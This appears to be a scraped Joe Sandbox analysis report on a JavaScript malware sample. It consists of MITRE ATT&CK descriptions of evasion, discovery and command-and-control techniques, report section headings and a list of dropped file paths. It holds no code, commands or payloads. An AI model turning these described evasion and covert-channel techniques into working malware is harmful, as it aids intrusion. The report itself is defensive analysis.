Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may obfuscate command and control traffic to make it more difficult to detect. Command and control (C2) communications are hidden (but not necessarily encrypted) in an attempt to make the content more difficult to discover or decipher and to make the communication less conspicuous and hide commands from being seen. This encompasses many methods, such as adding junk data to protocol traffic, using steganography, or impersonating legitimate protocols.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 1947415746274847548.js

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

Software Vulnerabilities

Networking

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\4cdadbcb-07b4-4a65-bb40-bdf083dc89c1.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\8e528c47-86d4-4117-a701-8a02725027d0.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State~RF60dee3.TMP (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Windows Analysis Report
1947415746274847548.js